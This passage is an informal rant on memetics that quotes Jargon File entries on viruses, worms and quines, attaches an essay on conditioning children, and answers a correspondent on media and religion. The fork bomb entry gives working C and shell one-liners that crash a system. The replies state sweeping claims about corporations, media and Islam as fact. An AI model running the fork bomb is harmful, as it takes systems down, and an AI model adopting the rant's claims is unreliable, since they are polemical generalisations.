+themselves, that there is a time when it is not "looking at other stuff" -
+it has discovered its own chassis. In English, this is explained by
+a phrase like "Yep, I'm looking at me."
+
+*footnote about penile bandwidth from a rant I sent to a fellow geneweaver:
+ ---
+ Maybe I've memed you. I think transmission is simply one component of a
+ multicomponent replication system, but a highly critical one nevertheless.
+ Transmitting into the aural port of say, a mute quadriplegic or a person who
+ speaks a language different to that in which the transmission is codified, or
+ into the ear of Dolly the sheep, are illuminating examples of contingencies
+ which have to be met for replication, let alone successful transmission.
+ For memes, transmission is central to reproduction, because, like viri, they
+ need to find a new host into which to propagate. They are obliged to find
+ a processor to do their processing for them, since they can't do it
+ themselves. Wanking also induces a kind of data transmission and it must be
+ pointed out that the sheer amount of code that a functional orgasm transmits
+ is quite vast. 1.5x10^9 base pairs per haploid spermatozoon, and hmmm...
+ several hundred million of them per ml of ... transmission fluid (grin). I
+ think that by comparison a T3 fibre optic cable, at 4.5x10^7 bits per second,
+ is left floundering in the dust, dwarfed by the sheer bandwidth of a
+ mammalian penis, which also has channel division multiplexing (you can send
+ several thousand million of the little data packets up the conduit at the
+ same instant) plus there is huge redundancy too. Gives the term upload a
+ whole new meaning. I think if my modem could transmit data that fast it'd
+ groan and sigh too. :-)
+
+ ----
+
+So much for the processor of interest. There are other processors using
+other languages (cells process information in a molecular form, they have
+mechanisms functionally analogous to the electrical systems which humans
+have built, but that's another rant entirely.)
+
+You reversalists, the tiny, approaching-zero minority of brains harbouring
+thought processes like those that I harbour.... I promised you the _code_,
+didn't I? Ok, cop this.
+
+Data is stuff which is changed, by changers which modify stuff. This is an
+obvious tautology. When the changers change the changers you have a chaotic
+highly nonlinear system, such as we are.
+
+Life is a set of processes which dynamically organise data.
+There is dead code... this is called data. Atoms are data. Charge states,
+photon flux intensities, velocities, positions, size of first girlfriend's
+shoe, DNA sequence etc etc etc... these are data. There they sit, statically
+related to each other, but they don't change much. You can represent these data
+with other data, like ASCII zeros and ones can represent the letter "p", or a
+bucket with eleven rocks in it can represent the number of protons in an
+atom of sodium. Data representation is substrate independant, but some
+forms of data substrate lend themselves more easily to manipulated than
+others.
+
+There are functional codes... in mathematics, these are called (surprise)
+functions or relations; in physics you might call them operators (like
+Hamiltonians)... stuff data in, and it comes out changed in some way
+dependant on the data and the function and the way the two interact.
+
+In a system like a cell it might be something like an active enzyme
+modifying a "dead" molecule, maybe changing its stereochemistry or
+ripping off an atom... in programming it might be a function like
+incrementing the x register or comparing what's in the x register with the
+y register. Functional code modifies dead code. Functional code alters the
+links between distinct chunks of dead code. Functional code is special: it
+can use dead code to represent other dead code. This is data emulation, or
+more commonly, symbolism. Computation is what functional code does to data.
+
+Functional code, very importantly, can turn dead code into more functional
+code. Functional code can turn functional code into dead code, too.
+There are many kinds of functional code, and the chances are good that by
+sheer accident, functional code will arise out of dead code. This never
+happens in digital computing since what the processor gets to chew on is all
+deliberately predetermined. Nonetheless, I think it'd be interesting to
+say, stuff random values into, say, a MESS-DOG program segment pointer and
+see what happens... (this is the computational equivalent of the Miller-Urey
+biology experiments which I'd encourage you to look up). I think you might
+occasionally get a few instructions which accidentally did something useful,
+and even less frequently, ones which replicated themselves. But it would be
+very rare. Give it enough time and clock cycles, it'll nonetheless happen.
+Its all computation and data. "Artificial Life" (Steven Levy) is an
+illuminating tome in this regard, since computation is also substrate
+independant. Conway's Game of Life is similarly illuminating.
+
+The really interesting stuff happens when these two code systems
+start to interact... you get firstly referential code, like "That cat is
+obese"; then self-referential code, which can represent logical absurdities,
+like "This is not a sentence" or self-definitional truth "This sentence
+has five words"; then self-reproducing code "Copy this sentence", and
+ultimately self-modifying code "Copy this sentence backwards twice".
+"Life" has all of these, and combinations thereof, built out of interactions
+between dead code and live code. Their interactions are the origin of
+evolution. Excellent examples are there in Hofstadter: "Metamagical Themas",
+particularly in Chapter 3, which pertains to memes and viral sentences.
+
+The replicating data system (human being) is coded in DNA which expresses
+enzymes, which do the functional code stuff. Each enzyme is encoded in DNA
+as what is called a "gene". Genes encode enzymes, cells, organs, organisms,
+ecosystems, to get themselves replicated down the generations. Genes do not
+know this any more than a bacteria knows it has genes. Most humans think
+they're something special, they're wrong: they're just accidentally evolved
+replicators, with brains which occasionally realise what they are. By analogy,
+to genes, Richard Dawkins came up with the idea of the "meme" - a replicating
+thought process data structure. (See "The Selfish Gene, 2nd Ed, Chapter 10")
+Simple memes embody catchy tunes, more complex ones are codified in axioms,
+phonemes, life-protocols, taboos, oral traditions, blah blah etc along with
+hundreds of other replicators, ranging from totally accurate and logical to
+utterly fucking insane, end up forming mutually-self-supporting colonies
+called ideologies, belief-systems, paradigms, weltanschauungs, religions...
+call 'em what you will, I call them meme complexes. Here are some components
+of JARG400.ZIP plus replicator-relevant chunks added in support my stance:
+
+ ))))))))
+
+Criterion for a lifeform: (von Neumann) - the essence of life is a _process_.
+:replicator: n. Any construct that acts to produce copies of itself;
+ this could be a living organism, an idea (see {meme}), a program (see
+ {quine}, {worm}, {wabbit}, {fork bomb}, and {virus}), a pattern in a
+ cellular automaton (see {life}, sense 1), or (speculatively) a
+ robot or {nanobot}.
+
+ It is even claimed by some that {{UNIX}} and {C} are the symbiotic
+ halves of an extremely successful replicator; see {UNIX conspiracy}.
+
+
+:memetics: /me-met'iks/ [from {meme}] The study of memes. As of
+mid-1993, this is still an extremely informal and speculative endeavor,
+though the first steps towards at least statistical rigor have been made
+by H. Keith Henson and others. Memetics is a popular topic for speculation
+among hackers, who like to see themselves as the architects of the new
+information ecologies in which memes live and replicate.
+
+:meme: /meem/ [coined by analogy with `gene', by Richard Dawkins] n. An
+idea considered as a {replicator}, esp. with the connotation that memes
+parasitize people into propagating them much as viruses do. Used esp.
+in the phrase `meme complex' denoting a group of mutually supporting
+memes that form an organized belief system, such as a religion. This
+lexicon is an (epidemiological) vector of the `hacker subculture' meme
+complex; each entry might be considered a meme. However, `meme' is often
+misused to mean `meme complex'. Use of the term connotes acceptance of
+the idea that in humans (and presumably other tool- and language-using
+sophonts) cultural evolution by selection of adaptive ideas has
+superseded biological evolution by selection of hereditary traits.
+Hackers find this idea congenial for tolerably obvious reasons
+.
+:meme plague: n. The spread of a successful but pernicious {meme}, esp.
+one that parasitizes the victims into giving their all to propagate it.
+Astrology, BASIC, and the other guy's religion are often considered
+to be examples. This usage is given point by the historical fact that
+`joiner' ideologies like Naziism or various forms of millennarian
+Christianity have exhibited plague-like cycles of exponential growth
+followed by collapses to small reservoir populations.
+
+:nanotechnology:: /nan'-oh-tek-no`l*-jee/ n. A hypothetical fabrication
+technology in which objects are designed and built with the
+individual specification and placement of each separate atom. The first
+unequivocal nanofabrication experiments took place in 1990, for
+example with the deposition of individual xenon atoms on a nickel
+substrate to spell the logo of a certain very large computer company.
+Nanotechnology has been a hot topic in the hacker subculture ever since
+the term was coined by K. Eric Drexler in his book "Engines of Creation",
+where he predicted that nanotechnology could give rise to replicating
+assemblers, permitting an exponential growth of productivity and personal
+wealth. See also {blue goo}, {gray goo}, {nanobot}.
+
+<predator> notes that biology is nanotechnology, locally evolved.
+
+:wabbit: /wab'it/ [almost certainly from Elmer Fudd's immortal line
+"You wascawwy wabbit!"] n. 1. A legendary early hack reported on a
+System/360 at RPI and elsewhere around 1978; this may have descended
+(if only by inspiration) from hack called RABBITS reported from 1969 on a
+Burroughs 55000 at the University of Washington Computer Center.
+The program would make two copies of itself every time it was run,
+eventually crashing the system. 2. By extension, any hack that includes
+infinite self-replication but is not a {virus} or {worm}. See{fork bomb}
+and {rabbit job}, see also {cookie monster}.
+
+:sig virus: n. A parasitic {meme} embedded in a {sig block}.
+There was a {meme plague} or fad for these on USENET in late 1991.
+Most were equivalents of "I am a .sig virus. Please reproduce me in your
+.sig block.". Of course, the .sig virus's memetic hook is the giggle
+value of going along with the gag; this, however, was a self-limiting
+phenomenon as more and more people picked up on the idea. There were
+creative variants on it; some people stuck `sig virus antibody' texts
+in their sigs, and there was at least one instance of a sig virus eater.
+
+*I have an interesting bilingual version of this virus. The bilinguality
+*of the package is probably self-advantageous to the .sig virus when it is in
+*Germany or Englishspeaking nations:
+ Ich bin ein .signature Virus. Mach' mit und kopiere mich in Deine .signature.
+ Don't ask what it means, just put it in your .signature, okay?
+
+:fork bomb: [UNIX] n. A particular species of {wabbit} that can be
+written in one line of C (`main() {for(;;)fork();}') or shell
+(`$0 & $0 &') on any UNIX system, or occasionally created by an
+egregious coding bug. A fork bomb process `explodes' by recursively
+spawning copies of itself (using the UNIX system call `fork(2)').
+Eventually it eats all the process table entries and effectively wedges
+the system. Fortunately, fork bombs are relatively easy to spot and
+kill, so creating one deliberately seldom accomplishes more than to
+bring the just wrath of the gods down upon the perpetrator. See also
+{logic bomb}.
+
+:phage: n. A program that modifies other programs or databases in
+unauthorized ways; esp. one that propagates a {virus} or {Trojan
+horse}.See also {worm}, {mockingbird}. The analogy, of course,
+is with phage viruses in biology.
+
+:virus: [from the obvious analogy with biological viruses, via SF]
+n. A cracker program that searches out other programs and `infects'
+them by embedding a copy of itself in them, so that they become {Trojan
+horse}s.When these programs are executed, the embedded virus is execut
+ed too, thus propagating the `infection'. This normally happens invisibly to the
+user.
+
+Unlike a {worm}, a virus cannot infect other computers without assistance.
+It is propagated by vectors such as humans trading programs with
+their friends (see {SEX}). The virus may do nothing but propagate itself
+and then allow the program to run normally. Usually, however, after
+propagating silently for a while, it starts doing things like writing cute
+messages on the terminal or playing strange tricks with the display
+(some viruses include nice {display hack}s). Many nasty viruses, written by
+particularly perversely minded {cracker}s, do irreversible damage,
+like nuking all the user's files.
+
+In the 1990s, viruses have become a serious problem, especially among
+IBM PC and Macintosh users (the lack of security on these machines enables
+viruses to spread easily, even infecting the operating system). The
+production of special anti-virus software has become an industry,
+and a number of exaggerated media reports have caused outbreaks of
+near hysteria among users; many {luser}s tend to blame *everything*
+that doesn't work as they had expected on virus attacks. Accordingly,
+this sense of `virus' has passed not only into techspeak but into
+also popular usage (where it is often incorrectly used to denote a
+{worm} or even a {Trojan horse}). See {phage}; compare {back door};
+see also {UNIX conspiracy}.
+
+:worm: [from `tapeworm' in John Brunner's novel "The Shockwave Rider",
+via XEROX PARC] n. A program that propagates itself over a network,
+reproducing itself as it goes. Compare {virus}. Nowadays the term
+has negative connotations, as it is assumed that only {cracker}s
+write worms. Perhaps the best-known example was Robert T. Morris's
+`Internet Worm' of 1988, a `benign' one that got out of control and
+hogged hundreds of Suns and VAXen across the U.S. See also {cracker},
+{RTM}, {Trojan horse}, {ice}.
+
+:quine: /kwi:n/ [from the name of the logician Willard V. Quine, via
+Douglas Hofstadter] n. A program that generates a copy of its
+own source text as its complete output. Devising the shortest possible
+quine in some given programming language is a common hackish amusement.
+Here is one classic quine:
+
+ ((lambda (x)
+ (list x (list (quote quote) x)))
+ (quote
+ (lambda (x)
+ (list x (list (quote quote) x)))))
+
+This one works in LISP or Scheme. It's relatively easy to write
+quines in other languages such as Postscript which readily handle
+programs as data; much harder (and thus more challenging!) inlanguages
+like C which do not. Here is a classic C quine for ASCII machines:
+
+ char*f="char*f=%c%s%c;main()
+ {printf(f,34,f,34,10);}%c";
+ main(){printf(f,34,f,34,10);}
+
+For excruciatingly exact quinishness, remove the interior line
+breaks. Some infamous {Obfuscated C Contest} entries have been quines that
+reproduced in exotic ways.
+
+ ))))))))))
+
+Why are representations and computations substrate-independant? Because it's
+_all_ data! The universe is a computation. Only the scale varies.
+
+> These Paradigms have two properties: their strength grows directly
+> with the number of people subscribing to them, and they are self
+> reinforcing.
+
+Correct, but again, not detailed enough. The first comment is an observation
+about epidemics of replicating systems, be they for(k) bombs, bacteria, or
+any exponentiating data set in what is known as "log phase" (logarithmic
+growth). Sales of records and particular styles of clothing can be pushed
+into log phase by propagating memes about them via the Media. The second
+comment usually applies, though in some cases the meme complexes kill their
+hosts... various suicide cults have demonstrated this.
+
+> For example, there is the "western culture" paradigm that the once was
+> centered in Europe, but now (unfortunately?) has re-centred to the USA
+> is, and other nations follow to a greater or lesser extent.
+
+Correct. Its primary epidemiological vectors were mercantilism and
+colonialism, which loosely translated mean ripping off resources and
+metastatising, as other replicating systems (e.g. tumor cells) do to their
+host organism. Western culture is metastatic, necrotizing, and will
+eventually poison and starve the Gaian ecosystem from where its hosts
+derive foodstuffs.
+
+The Media (with a capital "M") both creates/ preaches/ and echoes this reality
+and the global media is almost totally owned by ten large corporations. These
+coporations are immortal, as Adam Smith suspected that corporations were,
+even back in the late 19th century before corporations became what they are
+now : they're sprawling, replicating data colonies, competing for energy and
+resources, just like biological organisms, and daemons in multiprocessor
+systems do. Good replicators are those which act to bring advantages to
+themselves. Corporations do just that, utterly ruthlessly.
+
+ "That is what he does. That's all he does!"
+ -Kyle Reese, Terminator (I).
+
+> TV-zombies suck it in and live it. Western Culture and the Media are
+> just two Paradigms. There are others...
+
+TV-zombies are not that way by accident. They exist because society has been
+very carefully crafted by corporations to turn people into isolated robotic
+consumer-units. I have attached here, in its entirety, my file memeroot.doc
+
+The transcripts of radio interviews with Noam Chomsky are instructive here.
+
+
+
+----------------------------------------------------------File:MEMEROOT.DOC
+
+Contents: Theoretical explanation for the controllability of western people.
+
+===Child rearing - insertion of logic bombs into chidren for later control====
+
+Question: Why do otherwise normal people go totally fucking crazy?
+
+First a few definitions:
+
+Meme: an idea considered as a replicator. See Ch 11 Dawkins, The Selfish Gene.
+
+Culture: A growth of a single type of replicator upon a fuel/substrate.
+Eg: -a group of bacteria on a growth medium
+ -industrial society on petroleum-derived energy + mineral wealth
+ -memes on language-using sophont data storage media (brains)
+
+These can be broadly considered as evolved, geographically-con
+fined group social parameters. Hence you have things called "Work Ethics"
+and "Corporate Culture" and so on.
+
+"The Big Three" Immortal Meme Colonies.
+(Ignoring territoriality, gene superiority memes, etc).
+
+Religion: Organised, hierachial behaviour-controlling belief system.
+Hooks: Avoidance of biological death for adherents.
+ Avoidance of alleged eternal torture for adherents.
+ Supposed post-mortal reward for particular "good" behaviour
+ God Is Observing You And Will Spank Your Arse When You Die
+ (etc etc etc etc etc)
+Fuel: human dislike of mortality and fear of punishment.
+
+
+Corporation: Literally "Embodiment".
+Organised, hierachial behaviour controlling belief system.
+Hooks: Transfer of purchasing power ("Free Energy" tokens)
+ to satisfiers of particular demanded requirements.
+ Exclusive source of want satisfaction by laying
+ claim to all resources used in want satisfaction
+ (eg: corporate ownership of Sooooo Muuuch Land)
+
+ Fuel: Organisation of satisfaction of diversified needs.
+
+ Thermodynamic drive from the "Next Best Thing To A Free
+ Lunch", cheaply extractable and usable energy which can
+ be used to perform need-satisfaction-directed work.
+
+
+Bureaugovernment: Departmentalised behaviour-controlling belief system.
+
+Well, we all know the things which run the world. Corporations, governments,
+religions and cultures, in approximately that order. They are all immortal,
+information-based life forms growing in the interconnected hardware/software
+substrate of language-compatible human brains. Yet they all depend on a
+commonality of persona in the substrates in which they reside. If you like,
+an operating system. This "OS" is the collection of "strings" attached to
+a persona during childhood, which get pulled later on, to bring about desired
+behavioural effects (obedience, submission, etc) in people. These strings are
+woven into the fabric of a child's psyche at an early age, before the child
+realises what is being done.
+
+The child, a Turing system (capable of emulating any process given enough
+time) develops autonomy in approximately the following order.
+
+1) Child learns operation of basic body functions. Eyes, laryn
+x, arms, legs, head (etc). This takes about a year or two.
+
+2) Once the neural net has learnt how to deal with stimulus (input) and
+invoke useful output (response) on more than a reflex level, environmental
+manipulation can commence, since the discovery is eventually made that
+particular manners of direct physical interaction evoke changes to the
+personal world. Aversion to certain things is associated here, such as
+fire, cold, and physical damage stimuli. This also takes only a couple
+of years.
+
+3) Syntactic structures are deduced and gradually an abstract-capable meme
+and data transfer medium, language, is learnt. This process drops out of
+the child in the late teens, hence the difficulty of learning new
+languages from the late teens onwards.
+
+4) It starts to learn to transmit information by vocal or other gestures, and
+learns that such information transmission can modify the surrounding
+environment in order to meet particular local needs, in a directed way,
+eg: being fed, kept warm, touched and held, etc. This process continues
+for the life of the individual though at a much reduced rate
+after the mid-teens.
+
+5) The kid now has crude, nonphysical remote interaction with objects other
+than oneself. Soon comes mobility, directed experimental manual
+manipulation of objects, then purposeful, goal-oriented complex action.
+This includes building of a world-model : the deduction that magic does
+not work, certain thought processes are self-contradictory,that there
+is a relationship between certain actions and behaviours, and between
+particular causes and effects. The world-model is subject to continual
+lifelong environmental modification, though with training induced
+early enough, it can be stopped in its tracks. (is it possibly entirely
+arbitrary that we have states "childhood" and "adulthood" Or is it like
+"L" plates for a few years, then a full license?)
+
+Here, the memes install themselves, at the behest of their current carriers -
+parents and educators - before the child has a chance to analyse them for
+raving inconsistency. The severity of the installation is often shocking.
+
+Kids are beaten senseless in some cases, merely because they're crying
+about something they fail to understand. But it works.
+
+M-S.D.O.S. Meme-System Destruction Of Singularity
+
+This is my (: name for the meme-set initially installed in small children.
+It is the behavioural profile upon which rests the huge subsequent edifice of
+ideological replicators.
+
+Theory = When you possess an idea.
+Ideology = When an idea possesses you.
+
+So:
+Answer) You can pull core coding, the "Kernel", out of pre-1970s child raising
+and parenthood manuals. They are designed primarily to make life easier for
+the parents at the cost of inhibiting the growth of the child. The hidden
+irrational memetic tenets to be adhered to, are these:
+
+1) Adults are the masters of the (dependant!) child. They're not its servants.
+2) Adults are infallible. Their edicts are quite literally rules-by-decree.
+3) Adults get angry due to some fault in the child (not the adult's fault!).
+4) Adults cannot bear their own weakness and thus must not be told of it.
+5) Adult autocracy is threatened by child vitality.
+6) Adults MUST break the _child's will_ as soon as possible at all costs.
+7) Adults must implement these tenets before the child realises they're fake.
+
+What are the memes which actually enable these tenets to be fulfilled?
+An incomplete list, which gives a flavour of the components, is below:
+(Thanks: Miller, Alice, "Thou Shalt Not Be Aware")
+
+1) A feeling of duty produces love.
+2) Hatred can be discarded by forbidding it.
+3) Parents automatically deserve respect just because they are parents.
+4) Children are unworthy of respect since they are merely children.
+5) Obedience makes one strong.
+6) High self-esteem is harmful.
+7) Low self-esteem is conducive to altruism.
+8) Tenderness or emotionality is bad.
+9) Responding to child needs is wrong.
+10) Severity and coldness to children better prepares them for life.
+11) Pretentious gratitude is better than honest ingratitude.
+12) The way you BEHAVE is more important than the way you really are.
+13) Parents nor God can survive being offended.
+14) The human body, its functions and appendages are dirty and disgusting.
+15) Strong feelings are harmful and to be supressed.
+16) Parents are free of guilt, or drives, or desires.
+17) Parents, teachers and authority figures are always right.
+18) Questioning is a show of weakness.
+19) Submission makes one acceptible to others.
+
+It is probably that the few core elements listed here are the back-doors by
+which subsequently-exposed meme-systems make their way into the mindset
+without the new host being entirely aware of it. Hence, things like
+religious lies (eternal life after death, etc), large-government lies
+(representative democracy gives you a say, etc) and similar world-model
+incongruities can establish viable and propagating colonies of themselves
+in human thought-space.
+
+So... how do parents and teachers install/instill these obviously ludicrous
+belief viruses into ignorant youngsters?
+
+Basically, by creating an environment where adherence to such memes has a
+positive survival value. It works like so:
+
+You (parent) know that the child has certain central and important needs
+which it cannot tend to for itself and this gives you massive
+power over the child. Therefore, if you need to get the child to do somet
+hing it might not want to do, you just give it a choice:
+
+ do (unpleasant thing I want you to do)
+ or (I'll let you starve ~ stop talking to you ~ beat you up).
+
+Since kids really hate being ostracised, starved, assaulted (etc), they
+are likely to do what the alternative is, regardless of the repugnance.
+
+Typical ploys used to instill the feeling of powerlessness in children
+include -
+
+-Lay traps which the kid can't help falling into, then blame it for doing so.
+-Lie. Lie often. Admonish the kid for seeing the truth, it will prefer lies.
+-Physically threaten, beat (etc) the child if its thoughts are not those
+ required for proper control.
+ -Isolate kid from social interaction, games, parental love (etc) if required.
+ -Scare the kid "You'll die if you play with yourself, fart, burp" etc.
+ -Ridicule of, disdain for, and being scornful to, kids for doing (whatever).
+ -Invoke "Satan" meme: "You are bad, unconditionally, and will burn in hell".
+
+One associates reward with the lies and aversion with the truth.
+
+Eventually, even when these idea codes have no artificial survival value
+around for reinforcement (say, at age 18 once out of school) they will
+be so deeply implanted in the kid, before it was even aware of it, that
+they will remain.
+
+So... people fear going to a hell which doesn't exist. They obey laws which
+are demonstrably stupid. They do the underpaid bidding of some rude, bullying,
+insensitive prick of an employer. They're too burnt and glazed to have a
+purpose in their lives other than that ascribed to them by the system they
+live in : have kids, do work, earn money. Consume, be silent, die.
+
+
+Which is exactly what society (comprised mostly of similarly reared persons)
+wants: programmable, unquestioning Turing computers. Eventually, if people
+brought up this way have to deal with an intense emotional decision, they
+become anxious and incapable of decision.
+
+And if not, they carry around the cognitive dissonance (as Chomsky calls it)
+of believing outright lies from childbirth yet seeing a totally different
+and undeniably observably truthful reality.
+
+Hence they either have to go through the massive efforts of changing
+these centrally rooted beliefs, or they go neurotic, or insane, in the face
+of a reality they have been conditioned to be incapable of dealing with
+rationally.
+
+The logic bombs explode. Roll on prozac, depression, mental illness and suicide.
+
+
+Now you know.
+----------------------------------------------------end file:memeroot.doc---
+
+
+> Some Paradigms to be Aware of
+
+You're certainly on the right track, but you need to be very clear about
+this. Ask yourself what these things are in terms of information theory...
+are they data, live code manipulating data, processors/substrates or are
+they transmission systems?
+
+> Western
+
+...is a "culture", which is a meme colony superset.
+
+
+> the Media
+
+...is, epidemiologically, a "vector", a transmission/propagation system. They
+are distinct from the particular -lifestyle- which they portray, which I
+think you could call consumerism, itself a co-evolute with corporations.
+The corporate media harbours many filters and censorship (etc).
+
+> Science
+
+...is unusual in that it self-checks for internal and external validity, but is
+also a meme colony with data validity testing and lie-detection
+
+> Islam, Christianity (esp. fundamentalism)
+
+...Both religions, which have a epistemological-fringe meme - a "god" meme
+component in them. When rational inquiry fails, invoke god.
+
+> others...?
+
+Corporations. From the Latin, "corpore", meaning an embodiment. But an
+embodiment of what? Corporations are the functionally-expressed, physical
+representation of a huge, parasitic, self-reinforcing thought-process colony,
+a massive distributed data set, evolved solely for the purpose of gathering
+financial, resource and energy advantages towards itself and its hosts.
+
+Two common ones which pervade most of TV-zombie-planet
+Anamism. (Meme) Since animals are alive, therefore rock, water, sunlight is too.
+Teleology. (Meme) Since some bio-things function so well as to appear
+ purpose-designed, then obviously they were designed,and
+ this implies a designer (see: God).
+
+English has replicator-state-active flag suffixes: here's a couple for you
+to keep an eye-out for if searching for colonial thought-process replicators:
+-ism -ology -hood (less often) -ity -inc/Pty.Ltd/GmbH
+
+> #'s 2, 3, and 5 all are aspects of 1. I list these as separate,
+> because for some people they are strong enough to become the principle
+> model of reality with the others simply being general cultural
+> factors. i.e. a MD has the strongest affinity for 3, and 1 contains 2
+> and 5 for him. A reporter on the other hand has the strongest affinity
+> for 2, and 1 contains for him 3 and 5.
+
+I too have found it hard to classify these in terms of each other, and I
+realise that each meme colony we might name will have significant homology
+with another meme colony, much in the same way as some bacterial genes have'
+similarities with human genes, pointing to a common precursor.
+
+> On That Elitist Group Who Declare to be Truth Seekers
+
+In general, they have no idea - truth is a moving target.
+
+> What is "news?"
+
+In my experience, mostly crap. Noam Chomsky's "Manufacturing Consent" is the
+absolutely, must-see, cash-in-of-your-reality-cheque video on this subject.

+ +
I also recommend"Toxic Sludge is Good for You" for good insights into +the PR industry. + +> Most of it is FICTION believe it or not. You know all of those +> "scientific" discoveries /polls/etc. that They cite? Most of them are +> observations (correlational) rather than experimental (cause/effect) +> and they haven't + +Correct... they never let the truth stand in the way of what they percieve +to be telling of a story which will show up the media, or the corporations +who own them, or other corporations like them, in a self-favourable light. +"University tests prove... that university tests don't prove anything." + +> been confirmed yet (and probably never will be). Also, the reporters +> are forced (through no fault of their own) to pick and choose what +> they report, which is determined by what they are interested in, and +> what they are interested in is what they believe, and they believe the +> news that they hear...so the set of what the Media reports is a biased +> sample of the true set of what is actually happening. + + Australian journalist George Negus meme-sculpted the Oz media in the early + 1980s with his Carlos scam. See: Sagan, Carl: "A Demon-Haunted World." + A tremendous reverse-job if you ask me! + +> Then we get to the problem of humans' inability to write objectively, +> as well as the dominant "view of the self," (60's American political +> liberalism mixed in with resurgent Puritan values stripped of +> religious significance and a healthy dose of materialism) an aspect of +> the Western Paradigm. + +BING! My -ism detector just went off twice there. See? A great reality +flag search tool. + +> Other reasons why news is fiction? Well, forgetting the objectivity +> part, reporters PURPOSELY misrepresent the 'facts'. Yes that's true. I +> can't count the number of "moles" within the Media who've openly +> admitted this to me. + + None admit it to me, but in my dealings with the media it is transparently + obvious. There has been a sustained and highly orchestrated media character + assassination of a politician (Hanson) in Australia, who dared to show up the + political lies and bullshit for what they are. I find that even relatively + bright people are quite heavily infiltrated with shallow, knee-jerk media + opinions, and when questioned, can't deal with it at all.... they take it + personally when you criticise their gullibility. + + > One particular person related how by peer pressure the editors select + > bad photos of some people and good photos of others, sometimes + > completely out of context. They constantly manipulate the words, + > images, etc. to be artificial creations representing their own + > opinions, so much that when They are done, the result is far from what + > "really" happened... But many of + +Correct... some politicians know this and, for example, never wear a funny +hat in public, since they know that the Media will haul out the photo of the +politician in the funny hat and use it in derogatory way. + +> them don't realize this (but the especially cynical ones do and +> continue doing it...) because they live within the reality model that +> They help create and reinforce. They think that They are being +> professionals objectively stating "the Truth". And of course we +> started this whole thing asking "what is reality?" For the people who +> share the "Western" paradigm, THE NEWS IS REALITY. + + Many people here in Oz are incapable of seeing otherwise. It's quite pitiful, + but the competition is hotting up. I imagine that, wherever you are, the main + stream media demonise the internet? Supposedly because you can get info + on drugs, pictures of humans replicating, instructions for explosives + manufacture, compressed MP3's of sound recordings for which you would + otherwise have to cough up A$30 to some multinational record company (eg:CBS) + etc etc etc... but this is peripheral, and you can get all that at libraries + anyway. The TV/radio/newsprint conglomerates hate the internet since 1) + they can't censor it; 2) they don't make profit out of it, and 3) it is the + natural enemy of their fake-info industry, since it can propagate actual, + unedited truth, much as does +ORC. + + > (if you didn't see it on TV, it didn't happen. This isn't on TV. This + > isn't happening. You are dreaming. When I say "asparagus" you will + > wake and not remember anything that has happened to you in the last + > five minutes...) + +ROFL very hard! Tinged with the sadness of truth. Nothing to see... + ;-) ...Ever played a video game which said: "You will lose twenty cents" ? + +> Another One +> Science is formed on some basic assumptions, and even though the +> scientists can point these assumptions out, they don't live them. + + + Such as? So far, you are kinda compelled to live out your life according to + the laws of thermodynamics, regardless of what you believe or even if you + know them. Some scientists amazingly run parallel and contradictory opinions + in their heads, some are religious (believers) yet do science (nonbelievers) +which strikes me as kinda strange. + +> We all know that there are things in the world that science can't +> explain (yet?). + + Science has killed most of the other delusions which you could test... like + spontaneous generation, like flat earth, like ESP spoonbending, etc etc etc. + Many of those inexplicables are around because science _can't_ attack them. + Why can't science attack them? Cause they evolved to avoid attack by science. + They have no shred of reality upon which science can base an attack. These + are most commonly existance-of-god type memes, usually untestable hypotheses. + + Since these inexplicables exist in our minds, it is there which they must + be attacked. Not for what they evolved to appear to be, but what they are: + meme colonies evolved to avoid prima facie logical analysis. I think + information theory pretty much has these delusions by the balls. See Daniel + Dennett's recent works for additional amusement. + +> Some scientists are so involved in their model that they, from within +> the model, claim that nothing else exists! Well we know that's absurd. + + Do they? You said at the start that reality is whatever you think it is. + Wether scientists believe it or not, they are, by their nature as scientists, + compelled to test their beliefs. Religions demand that their hosts do NOT + test their beliefs. Therein lies the difference. There are, of course, a lot + of religions which evolved under the selection pressure of scientific testing + to either become totally untestable or which evolved to look like science. + $cientology, and the Church of Christ Scientist, are ones which come to mind. + + The Ha'dith is a referencing system in bloodthirsty, misogynist Islam which + enables, much like scientific journals, the tracing of a memetic lineage. + Jehova's Witnesses also claim to scientifically reference things (they also + print a massive amount of "documented `fact about their religion" which is + propaganda, and what I have read of their literature is flawed too.) That + $cientology is absolute insanity (I found some of their texts at a bookstore + one day, I had not faced such incomprehensible gobbledegook in my life) is + irrelevant to the hosts who carry it; $cientology does have one + powerful observation in it: that is, "To control someone, lie to them." + Well, actually, from your point of view, you can't say its absurd, unless + you go and test their model. Science invites, no, demands that knowledge + earns its stripes by submission to testing. + +> Almost everybody can point to an unusual experience and say that it +> happened, but they are afraid to because it isn't "normal" and +> therefore it is wrong.. + + + Normality is a statistical artefact, and non-normality doesn't invalidate + an experience. In this society, where we are systematically denied the tools + to form our own opinions, (See: John Taylor Gatto: "Dumbing Us Down"; Alice + Miller, "Thou Shalt Not Be Aware"), we have been trained to deny things + which are non-standard, and attack what we do not understand. + +> Religious miracles are one way of interpreting happenings +> unexplainable in scientific terms in an accepted Paradigm. We all know +> that there are other things in the Universe that we haven't begun to +> understand (at least in a scientific sense). + + + The things we _have_ described would, if you understood them, make you crap + your pants with amazement. Try quantum electrodynamics, or for a more + information-flavoured thing to investigate, read up on the amazing DNA error + correction systems in your own cells. + + > A "miracle" may be a freak occurrence; statistically possible, but not + > probable...it may be a mistake in one's perception...such as + > experiencing REM sleep while awake..."miracles" can be explained many + > ways, one way being in a religious context...even the most tenacious + > scientist will admit that there are things that his theories can't + > explain (satisfactorily at least) and that describing these things + > with religion is valid at least until he can "disprove" that + > interpretation with scientific findings...take evolution for example. + + Invoking god or magic does not solve the problem, nor make predictions, + which is what the process of scientific hypothesis aims to do and often + successfully does. + + > Some people used to believe that every type of animal was created + > simultaneously by God... now we believe in evolution. Evolution + > disproved a literal interpretation of the Bible for that particular + > section. (Unless you are a fundamentalist, in which case you would + > argue that science is just a way of viewing the world, and if it + > conflicts with what the Bible says, science is wrong.) Until the + > theory of evolution came along, the previous notion was perfectly + > valid because they had no evidence to the contrary. + + +You are confusing proof of absence with absence of proof. Evidence was there +all right, they just ignored it. In some cases religious meme-hosts actively +suppressed the evidence. I find it wryly amusing to bet that the +Scientists will be the ones to discover whatever it is which might supersede +science - it wont be the Mullahs or the Cardinals. + +> Don't misunderstand me, science is a powerful tool. The problem is +> that (at least so far) it can not describe everything in our world, +> and people are so intoxicated with its success thus far that they +> begin to think that they indeed have succeeded in describing +> everything... + + Science has worked pretty well so far. It has problems modelling things in + human minds, because science is a system for explaining the physical world, + not the virtualised and 